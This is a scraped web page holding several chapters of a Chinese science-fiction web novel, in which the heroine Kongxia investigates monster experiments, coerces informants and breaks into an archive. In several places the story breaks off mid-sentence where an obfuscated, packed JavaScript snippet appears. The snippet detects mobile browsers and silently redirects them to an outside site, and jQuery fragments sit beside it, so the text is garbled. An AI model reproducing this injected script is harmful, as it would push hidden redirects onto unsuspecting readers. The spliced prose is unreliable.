“……”沈礼聿抿着唇,刻意摊开的手慢慢握紧,“没有那么快。有王阅带着你不用担心,不会突然不见的。” 这话有些撒气的意思,他冲动逞口舌之快,说完了才后悔。 希望她没听出来,沈礼聿小幅度地侧脸,想看看控夏。 他听见控夏极短的笑了一声,然后左手传来一股大力。 “不是这个意思。”控夏抓着他的手按在旁边,坐在他身上道:“我怕他们看见不好的。” 她俯下身,唇靠近他耳边,用气音小声说:“既然没有那么快……” 后面的话没出口,控夏牙尖轻轻咬他的耳垂,然后松开,微微侧了脸吻他。 一点一点吻到嘴角,她才想起来问:“你是不是没接过吻。” 沈礼聿发出一点气音,表示肯定。 “没事。”控夏从他的脸颊摸到颈侧,垂眼盯着他:“我教你。” - “你今天没出去啊?”程借景被床上翘脚躺着的人吓一跳。 那人移开摆在脸上的书,露出一张脸,是控夏。 她对他笑了一下,然后又把书摆回脸上。 程借景被她莫名其妙的笑容吓得一激灵,揉着手臂跑开了。 经过这一天的相处,他显然已经和王阅混熟了,现在抓着王阅吐槽。 “真不知道怎么回事。”程借景道,“真的很反常,我看见她上衣是皱的!” “还对我笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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奈何小秋又对他肯定的点点头。 于是程借景一边朝控夏走去,一边打开了腰侧。 里面井井有条放着各类线和头,是今天小秋给他整理的。 程借景从里面拿出专门检测身体数据的数据接头,一把拨开盖在控夏脸上的书。 控夏对他挑挑眉:“?” “我帮你看看最近身体情况怎么样。”程借景拿着数据接头,假笑道。 控夏视线不着痕迹的在小秋身上点了一下,然后点点头,“你随便测。” 因为面板上给出的数据不多,所以测试很快就结束了。 片刻,程借景打开数据面板,一头雾水地朝小秋走去。 “今天她心情确实还不错。”程借景说。 他看着上面的身体舒适度,不小心点到旁边的播放键,女声十分俏皮—— “今天的身体舒适度:无比舒适,幸福指数很高呢!请继续这样保持下去哦!” 16. 第 16 章 三天后。 控夏拿出柜里的营养液,撕开封口后一口气灌下去。 脑子里在整理今天的行程。 对今天该做的事有个定数,她扔掉手里的细管瓶,把装备带齐,然后出门。 是个晴天,但外面仍然湿漉漉的。 三天前下的那场雨持续到今早,湿润的空气泡得整个世界发皱。 控夏打开通讯器,上面是和容任的聊天记录。 容任:鸽子的化验数据已经出来了,现在正在分析其中不知名物质的成分。 控夏:我明天早上去一趟。 聊天记录的时间是昨晚,所以今天控夏早早起身,先去小店拿塑容膜。 运作中心爆炸的事情和银发非正常的事发生时间太短,这点时间足够让瞿仪宗起疑。 他会做出什么手段就不得而知了。 控夏走到底下实验室附近,撬开下水道口,跳下去之后往前走约十米,在两侧摸到隐蔽的缝隙。 程借景两天前来挖的,可以直接通往生物实验室。 比每次偷偷摸摸去联盟大楼后门好点,还能减少生物实验室被瞿仪宗发现的概率。 管道的方向越来越往下,尽头是一扇透着光的小门,控夏推开,探出头来。 右侧是实验室后门,往下看大约离地面有三米高。 她往下一跃,轻飘飘落在地面上,没有发出声响。 - “有致幻效果?” 容任推推眼镜,“是的,目前不清楚有什么长期副作用,但短期内只有昏迷不醒这一症状,持续两到三小时,之后检验没有任何变化。” 她领着控夏往试验机器那边去,将包装好的残留物放到控夏手上,随即介绍起来:“这台机器主要模拟小白鼠的生理机制,我们将已知的试验反应导入其中,通过数据拟合试探药理反应。” “目前药物作用和生理反应的标准率能达百分之九十五上,所以出来的数据还是可以信任的。” 控夏捏着那一小袋干涸的血,晃了晃。 容任接着道:“这是从那只鸽子身上提取的血液,其他部位还在分析当中。但是我可以非常肯定的告诉你,那天你看见那两人吃的东西,不属于鸽子身上任何一个部位。” “嗯。”控夏早就猜到,让容任她们做检测,只是为了验证猜测是否正确。 看来确实跟怪物有关。 只是控夏猜不到为什么。 这种怪物她从来没有见过,吃人、身上的某种物质食用后会导致昏迷。 就连书上也不曾记载。 瞿仪宗到底从哪里找来的这种东西? 还是说,这是……人造的? “不过,根据你对怪物的形容,我脑子里好像有一点印象。”容任突然道。 控夏立马转头看去,“在哪里?” 容任摆摆手,示意自己知道的也不多,“我是前几年不小心听到的。” 画面拉回几年前。 那时,容任还没有被调来生物实验室。 她担任运作中心寻找外界生物的小组组长,组内在努力几年无果后,终于解散。 这并不出乎容任的意料之外,在她看来,盲目组建这个小组简直是浪费人力。 她自认为自己最擅长的还是科研,这种每天对着仪器探测虚无缥缈地外生命的活并不适合她。 然而,在被宣布小组解散的前一天,她转变了自己的态度。 “你说找到了?”容任站在运作中心负责人的办公室门口,听见里面的人说。 另一个声音回答了他,“是的,但是仅仅抓到一只,损害了大半个护卫队的人。” 抓到什么? 容任抬起的手放下,迟疑地往门缝那边更靠近一点。 里面的人还在说,但话题已经转到解散小组这件事上。 她抬手敲门,脸色毫无异样的进去。 - “我听到的不多,但跟你说的大部分吻合。”容任道,“他们应该暗中做过几次测试,人确实是豢养那些怪物的最佳养料。” 至于要做什么呢? 没有答案。 控夏把手上的袋子递给她,说:“你们继续检测鸽子,辛苦了。过两天我会叫人过来跟你们谈谈薪酬的事。至于那些怪物,目前我这里还没有消息,如果抓到了会立马送过来的。对了,你们这里还缺什么吗?” “不缺。”容任说,“这里设备齐全,除了运作中心外没有比这更齐全的地方了。” “那就好。”控夏松口气,“薪酬谈完之后会回去出合同文件,签了那份文件之后你们就不再隶属于联盟名下,而是为我个人工作。这件事你可以回去跟她们说一说,如果有介意这个的,可以退出实验室。” “当然,”控夏冲她挑挑眉,“保密工作要到位,你应该知道我是谁吧?” 容任点点头。 那天见过控夏之后,她就回去查了资料,黑色短发,还有能力重启实验室的女性,只有一个人符合。 只是她不清楚,这位身居高位的女性为什么沦落到这种地步,每天躲躲藏藏,还因为抢了运作中心一台机器上了热搜。 不过这并不在她的关心范围内。 “好的,今天结束之前我会跟她们说。”容任道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108729|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控夏离开前被她塞了一瓶营养液,“最近没有补充营养液吗?你看起来能量不太足。” 她先是呆了一下,然后冲容任摇摇头,笑了笑:“应该是……我忘了。” “谢谢,你可以先去忙了。”控夏说。 把那瓶营养液喝完,出去时跟老头打了个招呼,玻璃瓶顺手扔到他的垃圾桶里。 掀开头顶上的井盖时,控夏被雨浇了一身。 明明才过了两个小时,天气已经不复之前的晴朗,阴阴的,像是在酝酿一场暴雨。 她爬出来,关上后又马不停蹄地往黑市去。 老板早就在那里等着,之前的小男孩没在,控夏估计他已经被送到其他地方。 “走吧。”老板看见她后直接站起来。 控夏观察到她换了一身干练的装扮,背后背着布袋,东西很少但是看得出来很沉。 应该都是材料。 她走到跟前,朝她勾起一个笑。 老板愣一下才起身,跟在她后头走了一段路。 “……”她犹豫着开口,“你不要紧吗?” 控夏没听清,“什么?” 她沉默一会,摇摇头,低声说:“没什么。” 控夏也沉默,快步往前后突然停下,对她说:“我要盖住你的眼睛。” 老板感觉自己在空中飞行了几分钟,脚再沾地时眼前的物品也被收回。 重获光明。 她眯着眼适应光线,五秒钟后看清眼前的庞然大物。 扭头时控夏已经走到了旁边的高架上,她背好身上的包,跟上去。 跟着她走的同时,老板也在观察这座“钢铁森林”。 巨大的金属物融合在一起,严丝合缝,她只能在走动间透过交界处观察到里面的结构,但只能窥到一隅之地,内里因为材质,完全发黑,根本不给其他人看清的机会。 如果要看仔细的话,只能进到内部。 她手指渐渐缩紧,对自己的能力不信任起来。 我真的能修理好这个东西吗? 她扪心自问。 抬头向上看,这个庞然大物似乎看不见尽头,只能根据旁边的光源推测出这座“山”绝不可能到此为止……光源? “出太阳了。”控夏突然说,她停下脚步,对着老板道,“接下来这一块就交给你了,你能给我一个确定的时间吗?” 老板嗫嚅着说不出话。 “没关系,你修吧,我在这里等你。”控夏转身按开一个键,露出里面的控制室。 走进去后,那扇自然关闭,老板终于转头看方才控夏指的地方。 她突然屏住了气。 17. 第 17 章 面前哑黑的机器外层附着一圈绿色的、矮小的,像苔藓或者真菌一样的物质。 老板慢慢凑近,然后松了口气。 阳光照射下来时,物质上方并没有浮现孢子一样的东西,反而凛冽地凸显清晰边缘,大概是锈。 既不是苔藓,也不是真菌,而是一种墨绿色的金属锈迹。 也对。 植物都灭迹几年了,怎么可能突然出现在这里。 她苦涩地想。 放下包,她在里面翻翻找找,拿出一瓶紫色液体,隔着隔离手套在绿色锈迹上浇了一圈。 这种除锈剂很快就可以生效,生效的同时会散发怪味,她站远了一步,看着紫烟慢悠悠飘上去,很快落下视线,定格在那处。 绿锈慢慢融进液体里,顺着重力滴落。 擦干后,立马透露出原本掩盖在哑光黑暗漆底下的亮银色,在太阳底下闪闪发着光。 “在修了吗?”程借景嚷嚷道。 根据瞿仪宗的行迹猜测,下次出城大概在今明两天。 程借景被控夏安排探测出城口,没有被带来。 “在修了。”控夏面色如常,将监控数据同步给他。 程借景盯着画面中自己那庞大精致的机器体,不禁升起自豪之心。 这股自豪支撑着让他开了口,然后被控夏打回去。 控夏十分冷漠:“收起你的管家人格。” “怎么样?”她话音一转,问起正事。 “没有异常。”程借景站在边缘,跟几乎冲到面前的黑雾隔着一层看不见的屏障,隐隐约约。 确实没有异常,出城这件事只是满城闹得轰烈,联盟没有专门出政策针对这件事进行展开,普通人自然以为没有落实。 至于谁家少了人这件事,经过上次游行之后,熟悉的不熟悉的都有可能死在那场灾难里,就更没有可注意的。 更何况瞿仪宗将这件事安排在凌晨进行,摆明了不会留下痕迹。 意料之内的事,控夏没有失望的情绪,她也不指望从这里得到什么讯息。 “你跟王阅先呆在那里,不确定他们会什么时候行动,但银发被劫持这件事一定会让他们警惕。”控夏撑着头,“这次不需要再抓人回来。” 程借景乖乖应了一声“好”。 切断通讯,控夏抬头看监控画面,女人利落的身影围绕着机器转,手上工具不断。 很快,她离开那一片区域,控夏看见那片区域明显比其他区域更精致一些。 虽然嘴上说着恨,但其实还算热爱这份事业吗。 控夏想起程先对这个女人的评价。 其实是在一次闲聊里提到了。 “一个很纯粹的人。”程先给了这样的评价。 控夏有些惊讶。 程先这个人对不感兴趣的东西都很淡,不论行为还是言语上。 她对其他人的评价也很淡,大致都落在一般般这个词附近。 比如说瞿仪宗此人。 控夏非常厌恶这类冠冕堂皇,满嘴漂亮话却只为自己牟利的人,因此,她把瞿仪宗划入了品行不端这个行列。 程先对他的评价却是:“还好吧,一个普通人。” 由此可见,“纯粹”这两个字是多么至高无上的评价。 控夏对她的评价百思不得其解,在过往无数次见到这个女人时,她都会一次又一次地对这个评价产生质疑——一直到刚刚为止。 她好像从女人的身上看见了这个评价的影子。 哔—— 控夏思绪被通讯器响起的声音拉回来。 是沈礼聿。 “怎么了?”她接通。 “你现在在哪里?”通讯器里他喘着气的声音粗重,像刚经历了一场剧烈运动。 “在地下。”控夏敏锐地察觉到对方平静语气下掩藏的焦急,站起来,从背后拉起一个吊篮似的运输装置,翻上去。 “我把位置同步给你。”沈礼聿说,“瞿仪宗找到我们的位置了。” “哥哥,你没事吧?”小秋埋在沈礼聿怀里,听见通话被切断才开口。 她刚才看见有人用枪炸了房子,沈礼聿把她抱起来时被火燎了一身。 地上的脚印都是血。 “没事。”沈礼聿擦掉脸上的汗,把长发扎起来。 还是太仓皇了。 虽然早就料到那里会被发现,但进度未免太快。 来不及想这些,他探头往外看,在不远处看见了护卫军的鞋。 还在附近! 把下水道的盖盖上,沈礼聿抱着小秋,又往旁边移了一些。 “哥哥……” 沈礼聿捂住她的嘴,屏气凝神听头顶时不时响起的脚步声。 “把这个打开。”一个声音说。 沈礼聿盯着井盖,身体更往后面贴。 他刚才合上时挂了捏夹,应该能挡他们一会。 底下和身后都是臭水沟,沈礼聿屏住呼吸,如果被打开的话,那就只有一个选择了。 沈礼聿把小秋捂紧,做好跳下水沟的准备。 咔哒咔哒。 机器扳手扭转的声音让人不寒而栗,却突然停住了。 但也只停了一小会,很快,那个声音又嘎达嘎哒地响起。 沈礼聿脚蹭到水沟边缘,思考跳下去之后被控夏找到捞起来的可能性。 叩叩。 沈礼聿猛地一抬头,盯着井盖的方向。 叩叩。 不是幻听。 沈礼聿放松了一点,与此同时,腰间的通讯器震动一下。 “出来。” 小秋被控夏拉着转了个圈。 她说:“姐姐,我没受伤,哥哥伤得比较严重。” 控夏自然而然将目光放到沈礼聿身上。 他确实很狼狈,身上的衣服又是被烧又是被水浸的,头发都乱糟糟。 此时正沉静地看着她。 “我没事……”沈礼聿没说完,被控夏拉到一边。 “没事就好。”控夏说,“你之前说的被找到位置,是怎么回事?” 沈礼聿微不可见的呼出一口气,才开口:“那间房屋原本是空屋,不被记录在联盟名册里面。估计因为银发的事,瞿仪宗下令彻查新城内所有没有署名的房子。” - “哥哥,哥哥。”小秋轻轻敲了敲内室的门。 里面的人并没有第一时间就来开门,于是小秋转头,盯着外门,听见外面嘈杂又越来越近的脚步声,好像是专门往这边来的。 她又用力敲了敲,察觉到外面那道门有扭开的迹象,吞了吞口水,打算自己应付。 门被打开的一瞬间,她身后的门也响了,然后被骤然一股大力抓起来,一眨眼就跳到了屋外。 小秋努力把脸露出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108730|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着上面那张脸刚想开口。 沈礼聿朝她做了一个噤声的手势。 小秋乖乖闭上嘴,背对着那群人。 “没人啊?”她听见底下传来声音。 然后很长一段时间没有声响。 她不知道底下的人把整个屋子来回翻了三遍,把她上午刚收拾好的营养液全推倒了。 还拿走了她藏起来的合照。 她以为在外面待一会就能回去,没想到一声炸响,他们把房子给炸了。 之后就是一场兵荒马乱,小秋心里记挂着她的那些合照,也被沈礼聿身上的伤吓到了。 直到现在安全才想起来。 控夏了解完情况,跟沈礼聿一起走回来,看见小秋蹙着眉,还以为她被吓到了。 “没事了。”控夏揉揉她的头发,“现在没事了。” 小秋抬起头,张了张嘴又闭上,最后朝她笑笑,“好。” 身后门拉开的声音响起来时,老板抬头看了看先前太阳光照射进来的地方,才发现天已经黑了。 她转身,看见控夏正一步一步朝她走过来。 “走吧。”控夏说,“这几天有些意外,我过几天再请你过来。” 她了然地点头,把自己的工具都收拾好,重新背好背包。 走出去的时候她听见控夏问:“你是姓雷吗?” “不是。”李金晚摇摇头,“我跟我妈姓,叫李金晚。” 控夏点点头。 一个被隐姓埋名的人。 至少控夏先前翻雷家家谱时,并没有翻到她的名字。 在今天之前,李金晚一直都被“雷二小姐”代替。 控夏把她送到黑市门口,走之前低声提醒她:“注意看好小男孩。” 李金晚表情立马严肃起来,脚步往后退,再开口声音冷硬:“你什么意思?是在警告我吗?” “最近有一帮人在偷小孩。”控夏迟迟开口。 李金晚一愣,撇过脸,“……谢谢,我会小心的。” 控夏朝她勾唇。 两个人就此分开,控夏抬头看看天。 是时候了。 她脚步一动,往一个方向去。 “来了来了!”程借景小声地喊。 王阅趴在他旁边,没有讲话。 她顶着望远镜里的一行人,从口袋拿出小巧的监视器。 这些监视器等会要贴到那些出城的人身上。 望远镜里,那行浑身包裹黑色的人排成一列站在边缘,一个穿着白袍、一看就是联盟官员的人慢慢经过他们面前,像在计数。 终于计完,他离开队列里,在旁边不远不近地站着。 护卫军上前,拉着那行人去到城市边界处。 就是现在。 王阅把监视器安进发射器,对准了排头的人。 在护卫军伸手把他们推出去的同时按下按键,那枚监视器跟着排头人的动作一起穿过城市屏障,去到外面。 程借景手里拿着视屏板,终于看到第一块黑色亮起来。 然后随着王阅不停按下按键的动作,剩下的黑块也接连亮起。 “成功了!”程借景低声欢呼。 他低着头检测监视数据,王阅还在不停按下按键,没注意后面有个鬼鬼祟祟的人发现了他们。 那人脸色激动,手指操作通讯器,接通后说的第一句话是:“抓到了!” 18. 第 18 章 “抓到谁了?” 男人脖颈后方竖起汗毛,他眼疾手快地率先切断通话,然后才一卡一卡着扭头。 控夏正盯着他。 “发现了什么?”控夏微微一笑,往前进一步:“这么激动。” 男人不可控制地退一步,声音里满是惊恐,“没有……没有,你要做什么……?!” 控夏一掌拍上他的肩,男人肩膀一阵剧痛,手上不受控制,一下松开。 以为会听到碰撞的声音,其实没有,通讯器被一只突然出现的手接住。 男人看过去时,控夏垂眼,正在操作通讯器。 看起来好像并没有关注他这个人的样子。 他捂着脱臼的肩膀,余光向她后方瞥,思考逃跑的可能性。 要想逃跑的话,只能从这个女人两侧绕开,才有可能离开。 自己一个手无缚鸡之力的人,要是落在面前女人的手里…… 男人咬牙,小幅度的往后看看,试图为自己找一条生路。 后面被挡住了,如果往后跑的话会受到三个人夹击,前面那两人要是知道他干的事,肯定也不会放过他。 现在怎么办? 男人鞋底往后蹭蹭,眼珠子滴溜溜转着,低着头,实则余光一直盯着控夏。 他在等一个时机。 “想去哪?”控夏抬起头,嘴角含笑地盯着他,银色的眼里却无一丝笑意。 男人身体一僵,一时不察居然摔了一跤。 顾不上屁股钝痛,他下意识往后退,想离控夏更远一些。 控夏垂眼,把通讯器的数据传给自己,随即将通讯器扔回他身上。 男人恐惧地闭了闭眼,再睁眼时,面前的人正面无表情盯着他。 跑…… 跑! 下一秒,男人爬起来,头也不回的往后面冲过去。 控夏站在原地,盯着他的背影。 他应该是换过腿脚,黑色布料下那双机械腿抡出了非人的速度。 控夏收回目光,抬起手臂,露出手腕上黑色的通讯器。 屏幕亮起,方才传输的数据已经输送给沈礼聿。 对方正在查看中。 控夏往前走去。 “别挣扎了。”程借景抓着他的头发说,“等死吧你。” 他说完就松开了手,偏头看见控夏走过来。 - “是发给元厦的。”沈礼聿道。 “元厦?”控夏在记忆里寻找此人的痕迹。 无果。 她抬眼朝沈礼聿看去,对方立马意会到她的意思,开口:“瞿仪宗手下的人,存在感不高,很少出现在人前。” 控夏没问他为什么知道,只是点点头,“照片已经发过去了,很大可能还有视频文件,不过那家伙很谨慎,发一个删一个。” 言下之意即是她只看到这张照片。 “不能恢复吗?”沈礼聿疑惑。 控夏摇摇头,“内部装了防恢复插件,做不到恢复。” 两个人都没说话,室内一下恢复了宁静。 程借景跑进来,先看了一眼沈礼聿,然后偏头问控夏。 “那个男人怎么处理?” 一行人进了隔壁的房间。 男人被绑在墙上,头垂着,地上已经滴了一滩水。 “女神。”王阅迎上来,扔掉手上的棍子。 这里是控夏临时找的住处,年久失修,屋顶还有个大洞,但胜在面积足够大。 刚才王阅拖着这个男人在房子里找了一圈,才终于决定把他扔在这个房间里。 没有其他原因,这间房里有很多她喜欢的工具,比如那根棍子。 “怎么说?”她靠过来。 控夏轻声:“弄醒。” 王阅点点头,走到旁边,按下小巧的黑色按钮。 下一秒,男人的身体轻轻颤抖起来,并且幅度慢慢加大。 他抬起头,眼睛仍然闭着,但面上表情满是痛苦。 “呃啊!” 控夏往后退了一步,,避开他嘴里吐出的污秽物。 男人睁开眼,身上仿佛还有电流经过,肌肉不受控制地痉挛,他想说话,嘴唇却无法覆合。 好不容易终于可以控制住自己,男人抬头,哀求地看向控夏,“求……给我一个机会……” 控夏朝他微笑,才说:“我要你给元厦继续汇报。” 听到元厦的名字,男人眼神彻底灰败下来。 她居然连元厦的名字都知道了……? “好好!”他猛点头,涎水淌到脖子里,“我可以……我愿意做!” 王阅盯着他笑出声,转身跟在控夏身后。 “你们继续去盯着今晚的情况,” “好。”程借景和王阅都点点头。 夜幕降临的很快,控夏摸摸自己脸上的透明膜质,站在联盟大楼下向上看。 瞿仪宗不知道搞什么名堂,那天拉灯之后,新城的夜晚就没再明亮过。 对此,联盟给出的理由是,减少新城存在感,以防止吸引外界怪物注意力,对新城进行攻击。 但在控夏看来,这完全就是放屁。 瞿仪宗到现在还没有给出‘天懿号’出现问题的解决方案,又在城内搞出大规模的杀戮,现在又要‘出城’。 控夏时常有冲进办公室把他拖出来搞死的冲动,但鉴于这样做的后果更难收尾,她只能按耐住这种想法。 资料区在大楼中部,一路都是基因识别系统,并且极为灵敏,控夏被扫描到的下一秒,还活着的消息就能传遍整个联盟大楼。 大楼外部不易爬行,整体采用特殊材质材料搭建,靠赤手空拳攀爬上去难如登天。 但控夏不是赤手空拳。 她掏出一个齿轮样的小物品,试探性往墙上划拉两下。 墙上渐渐出现痕迹,随着力度和次数增加,墙体凹陷下去。 还是太滑。 看来还得进到里面。 控夏把齿轮收回,站在墙根盯着大楼出来的人。 现在这个点,很少有人还呆在里面,所以进进出出的都是护卫队的人。 远处传来一声发动机停止运作的声音。 控夏望去。 是很普遍的款式,联盟里大部分同事都用的这种型号,分辨不出什么。 但这种人最好用。 控夏这样想着,趁着飞行器降落的时间,上去劫持了那个倒霉鬼。 “别挣扎了。”控夏把他扔到地面上,用脚踹了踹他。 “你,你是谁!?”那人闭着眼在地上拍来拍去,就是不肯睁开眼。 控夏蹲下身,推推他。 “再不睁眼我就让你身首异处。”控夏说。 对方“啪”地一下就把眼睛睁开了。 控夏有点想笑。 “带我进资料区。”她很快收了笑,说。 对方眼睛滴溜溜转了一圈,微张着嘴,然后拒绝她:“这不行。” “不行?”控夏把这两个字在舌尖滚了一圈,才勾起笑:“谁给你的错觉,让你觉得可以跟我说‘不行’?” “啊啊啊啊……唔唔唔!”男人嚎到一半被控夏往嘴里塞了东西,拖着后脖颈的衣服就往大门走去。 他的手在空气里乱挥,好不容易把嘴里的东西吐出来,“我不会帮你的!你快放开我!” 真是恼人。 控夏停住脚步,捏着他的嘴给他塞药吃。 “你给我吃什么?!”男人使劲往后仰,从言语到动作都是明明白白的拒绝意味。 但控夏没那么多耐心陪他玩这种推拉小游戏,只是嫌他吵。 往地上贯一下就老实了。 控夏想。 她这么想也就这么做了,男人果然没了话,头垂着。 “听得清我说话吗?” 啪啪!清脆的两下拍脸让男人清醒了一点。 他终于意识到自己的身份在控夏这里不管用,带着恐惧和顺从,用尽自己最大的力气,朝控夏微弱地点头,“听……听到……” 听到就好。 控夏松手,任由男人砸落在地上,发出闷响。 她自顾自的说:“等会乖乖听我的指挥,我让你做什么你就做什么。” “敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108731|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一点其他动作……”控夏弯腰,盯着他:“你就死了哦。” 她眼睛向下瞥,刚好瞥见这人戴在身上的身份铭牌。 难怪刚才那么硬气,吃准了城内人对联盟高层的恐惧。 不过……元厦? 这么巧。 她深有意味地将元厦从头扫到尾。 “听懂了就点点头。”控夏对他说。 元厦头蹭在地面上,冷汗把银发搞得有些湿,更何况头部还有血。他忍着极大的眩晕感点头。 控夏抓着他爬楼。 电梯里装了全方位的检测器,探测结果直接接向人员管理局,通过身形、面容、以及各种细节姿态探测来人身份。 楼梯只有监控,虽然也可以检测来人身份,但数据并不会上传,只是用作记录。 更何况,也没有人会闲得电梯不坐,跑去爬楼。 除了控夏。 自从控夏推开楼梯间的门,元厦就没再发出声音。 要扫描脸,控夏把他推上去,他就乖乖上去扫,绝不多话。 楼梯间的监控都被程借景远程操控,卡着30秒响警报的点释放控制权。 这样不会引起瞿仪宗的注意。 就这样一路畅通爬到资料区,最后一个关卡是基因扫描,中间有一条长长的毫无遮掩的扫描区。 控夏推了推面前的人,让他走上去。 对方扭头看了看她,最终一咬牙,踏上扫描区。 控夏贴着他同步往上走。 扫描区全封闭,但装了大量新能源灯具,将整个区域照得亮如白昼。 任何怪异在这样的照耀下都无处遁形。 但控夏对这里的布置都了然于心,更别提她闲着没事就来这里测试武器强度,然后加以改进。 在爆炸发生的前几天,她刚找到一个漏洞,还没来得及报给安全部。 这下刚好方便了她。 两人小幅度的往前移动,控夏发现面前的人身形在小幅度颤抖。 是要…… 她还没想出来什么,元厦突然疯了一样发出大笑。 他往前跑了几步,在尖锐的警报声和爆发出的红色灯光中转身面对着控夏。 眼睛红得滴血。 “跑啊。”元厦癫狂道,“你怎么不跑啊?!跑也没用,等会你就会被打成筛子……哈哈哈哈哈——” 话音尚未落下,天花板已经准备就绪。 白色的板块被收起,取而代之的是密集的、黑洞洞的枪口,齐齐对着控夏。 而元厦早已跑出范围之外。 他极不痛快,踩着攻击范围的红线,想欣赏控夏被打成筛子的模样。 …… 安静。 元厦抬头看了看那些枪,疑惑为什么不发动。 不会是出问题了吧? 他往后退了两步。 这下可好,一阵机械扭转的声音响起,那些黑洞洞的枪口现在对准了他。 怎、怎么回事。 元厦一屁股坐在地面上,看向那个淡定的女人。 对方分明什么也没有做。 怎么枪口都对准了他!? 这个女人的身份有问题——! 等他想清楚这一层已经晚了。 子弹上膛的脆响声清晰入耳,元厦吓得闭上眼睛,等待剧痛袭来。 没有。 一阵漫长的等待,元厦睁开眼,发现上头的攻击装备出了分歧,大部分向着他自己,但还有一小部分对着控夏。 他不敢再动,额上又冒出冷汗。 那些枪口犹豫不决,在他和对面那个女人之间来回摆动。 终于,它们认出谁才是侵入者,纷纷都对准控夏。 元厦面上笑得张狂,虽然不敢动,但还是对着控夏道:“你迟早会被打成筛子。” 他以为对面那个女人会露出害怕的神情,并没有,对方神色冷静地盯着他,像是胜券在握。 不愿深想这是什么意思,元厦瞪着她,眼睛都瞪红了,还是没等到枪声响起。 “跑啊!”他绝望地大喊,“你怎么不跑?!你不怕吗!” 19. 第 19 章 “跑什么?”控夏无视上方的枪口,施施然地走向元厦。 对方身上冒出的汗已经浸湿了周围的一圈,但他仍然不敢动作,生怕枪口又不分敌我,对准他。 “你!你到底是谁?!” “你不需要知道。”控夏隔着手套捞起他的后脖颈,拖着他向前走。 元厦失神地望着天花板,那里已经恢复如初,不复刚刚骇人的光景。 她到底做了什么,才让已经上膛的子弹收回去的? 正心如死灰的思索着,他感觉自己被提拉两下。 “自己爬起来。”对方凉凉的语气里藏着不耐烦,元厦多么敏锐,立马就爬起来了。 面前立着扫描仪,难怪突然用到他。 要进行基因认证检测吗? 那个女人在身后虎视眈眈,要是不检测的话,自己一定会死在这里吧。 可要是检测了……这里可是资料区,即使他从未进过里面,也清楚这里的重要性。 “还在犹豫吗?”控夏掰了掰指节,清脆的声响环绕在元厦耳边。 他默不作声地站定在扫描仪前,面不改色地点下‘开始扫描’字眼。 人类未来怎么样,管他屁事。 还是先活下来,再想办法报给瞿老。 反正瞿老知道他烂泥扶不起墙,干出这种事也不奇怪。 想到这里,他心下更加坦荡了一点。 “你还要做什么?”元厦站在控夏身后,畏畏缩缩地扫过整个深不见底的文书区,最后目光定回面前人的背后。 对方稍稍侧过脸,他立马把视线移向地面。 虽然看不见她上半身动作,但元厦精神还是高度紧张,面前人的一举一动都能牵动他的神经。 好长一段时间,面前女人都没有动作。 元厦胸口没由来地有些闷,好一会,他才反应过来,原来是他不由自主屏住了呼吸。 他不动声色地往外吐气,余光瞧见面前人的脚稍稍朝他的方向挪了一下。 ——一口气差点上不来。 “现在……不需要你了。”他听见控夏低声说。 好不容易松口气,元厦后知后觉地感觉到后颈一阵尖锐疼痛。 之后就没有意识了。 控夏扫了地上人一眼,确保对方不会因为她用力过大不小心歇菜。 随后抬起脚步,目标明确的往深处走去。 两侧泛着黑烟,大量流光成群结队的闪过,很快又归于沉寂。 这是程先要求做的效果,谁也不知道用途是什么。 曾经瞿仪宗尝试过拆除这里——当然没成功。 不仅没有拆除成功,因为请来的专家并不懂其中弯绕,随意触碰导致整栋大楼的电能都不稳定,就连这里,也差点被大火一扫而空。 当然,这是夸张说法。 资料区内每份文书都用特殊材质书写,普通的水淋火烧不会毁坏。 但程先准备的后手远远不止这些。 她的放荡不羁闻名于所有人,瞿仪宗自然也清楚。 不敢确定程先还在程序里面安装了什么东西,瞿仪宗紧急叫停了这个工程,生怕自己愚蠢的决策毁了这里,从高高在上的高官跌为千古罪人。 控夏常来,目不斜视地穿过这里,最终抵达终端机前。 现在在她面前的几乎是一整片‘星空’。 黑紫的背景下隐约有小亮点一闪一闪,那是正在运行的数据流。 控夏站在原地,闭上眼睛,隐约感觉有一个探头靠近她的额头,好奇地上下扫描过一遍。 然后那只探头又收回去了。 她睁开眼,银色的瞳孔里显出球状物。 “您好,请问您有什么需要?”智能体彬彬有礼地问。 球状物外表十分精细,呈现磨砂黑色,比起借景二号来说,成熟了不知道多少倍。 从某种意义上来说,对方的设定也确实是如长辈般关怀。 “我需要个人数据。”控夏朝它轻点下头。 